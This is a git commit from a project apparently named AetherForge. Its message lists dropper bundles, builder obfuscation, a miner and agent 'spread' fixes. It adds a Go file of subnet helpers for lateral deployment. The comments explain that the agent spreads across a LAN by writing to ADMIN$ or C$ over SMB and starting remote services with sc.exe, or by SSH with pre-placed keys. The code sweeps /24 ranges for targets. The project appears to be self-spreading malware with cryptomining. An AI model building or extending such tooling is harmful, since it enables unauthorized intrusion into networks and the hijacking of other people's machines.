fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

109
agent/deploy/subnet.go Normal file
View File

@@ -0,0 +1,109 @@
package deploy
import (
"fmt"
"net"
"strings"
)
// Spread prerequisites for lateral deployment modules:
//
// Windows (SMB/SCM via autospread.go):
// - Target TCP/445 (SMB) must be reachable on the LAN.
// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$
// and create/start a remote service via sc.exe (typically requires local admin
// or equivalent on the target).
//
// Unix (SSH via autospread_unix.go):
// - Target TCP/22 (SSH) must be reachable.
// - Non-interactive auth only (scp/ssh -o BatchMode=yes): passwordless SSH must
// already work — e.g. the agent user's public key in target authorized_keys,
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
//
// Subnet discovery:
// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local
// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers
// may appear when the OS neighbor cache lists them on a shared /64.
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
ipnet, ok := a.(*net.IPNet)
if !ok {
continue
}
ip := ipnet.IP
if ip.IsLoopback() || ip.IsMulticast() || ip.IsLinkLocalUnicast() {
continue
}
if ip4 := ip.To4(); ip4 != nil {
ips = append(ips, ip4.String())
continue
}
if ip.To16() != nil {
ips = append(ips, ip.String())
}
}
}
return ips
}
// getSubnet returns the sweep prefix for an address:
// - IPv4: first three octets (/24)
// - IPv6: first four hextets (/64)
//
// Returns "" when the address cannot be used for subnet matching.
func getSubnet(ip string) string {
parsed := net.ParseIP(strings.TrimSpace(ip))
if parsed == nil {
return ""
}
if ip4 := parsed.To4(); ip4 != nil {
parts := strings.Split(ip4.String(), ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}
// IPv6 /64 — collapse :: shorthand for consistent map keys.
full := parsed.String()
if strings.Contains(full, ".") {
return ""
}
hextets := strings.Split(full, ":")
if len(hextets) < 4 {
return ""
}
return strings.Join(hextets[:4], ":")
}
// isIPv4 reports whether addr is an IPv4 host address.
func isIPv4(addr string) bool {
ip := net.ParseIP(addr)
return ip != nil && ip.To4() != nil
}
// ipv4SweepHost returns the i-th host in an IPv4 /24 (1254). ok is false for non-IPv4 prefixes.
func ipv4SweepHost(subnet string, i int) (host string, ok bool) {
if i < 1 || i > 254 {
return "", false
}
parts := strings.Split(subnet, ".")
if len(parts) != 3 {
return "", false
}
return fmt.Sprintf("%s.%s.%s.%d", parts[0], parts[1], parts[2], i), true
}